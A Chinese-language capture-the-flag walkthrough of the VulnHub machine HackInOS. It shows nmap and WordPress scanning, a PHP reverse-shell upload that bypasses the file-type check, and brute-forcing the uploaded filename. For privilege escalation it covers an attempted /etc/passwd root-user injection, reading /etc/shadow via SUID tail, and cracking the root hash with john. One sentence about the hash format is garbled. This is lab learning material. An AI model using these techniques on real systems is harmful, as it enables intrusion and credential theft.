文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 5. 提权
- 5.1 枚举系统信息
- 5.2 探索一下passwd
- 5.3 枚举可执行文件
- 5.4 查看capabilities位
- 5.5 目录探索
- 5.6 枚举定时任务
- 5.7 Linpeas提权
靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova
1. 主机发现
目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定目标靶机IP为192.168.232.145。
2. 端口扫描
通过下面的命令进行端口扫描。
$ sudo nmap -p 1-65535 192.168.232.145
暴露的端口不多,看来只能先从8000端口下手了。
3. 服务枚举
通过下面的命令进行服务枚举。
$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145
4. 服务探查
先通过浏览器访问一下8000端口看一下。
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
先用wpscan扫描一下再说吧。
$ wpscan --url http://192.168.232.145:8000/
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
进去看看。
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。
$ dirsearch -u http://192.168.232.145:8000/
没有太特殊的内容发现,再用dirb挂载big字典看看。
$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
生成的字典如上图所示,用于生成字典的脚本如下图所示。
接下来我们开始上传带有反弹shell的php脚本revers.php。
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。
$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。
5. 提权
先优化一下shell。
$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"
这次看上去稍微正常一点了。
5.1 枚举系统信息
$ uname -a
$ cat /etc/*-release
是64位的Ubuntu 16.04.1。
5.2 探索一下passwd
$ cat /etc/passwd | grep -v nologin
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。
$ openssl passwd test123
$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd
没有权限。
5.3 枚举可执行文件
www-data@1afdd1f6b82c:/$ sudo -l
无法执行sudo。
www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null
貌似没有可以用于提权的可执行文件。
5.4 查看capabilities位
www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null
没有合适的capabilities。
5.5 目录探索
先查看一下当前用户的家目录下都有些啥。
www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。
5.6 枚举定时任务
www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab
5.7 Linpeas提权
嗯,靶机上竟然不能使用wget,看看有没有nc。
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
运行一下。
www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh
可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/
),用/etc/passwd文件试试看。
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。
www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA−512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。
使用hash-identifier没有收获,再用john试试看。
$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
提权成功。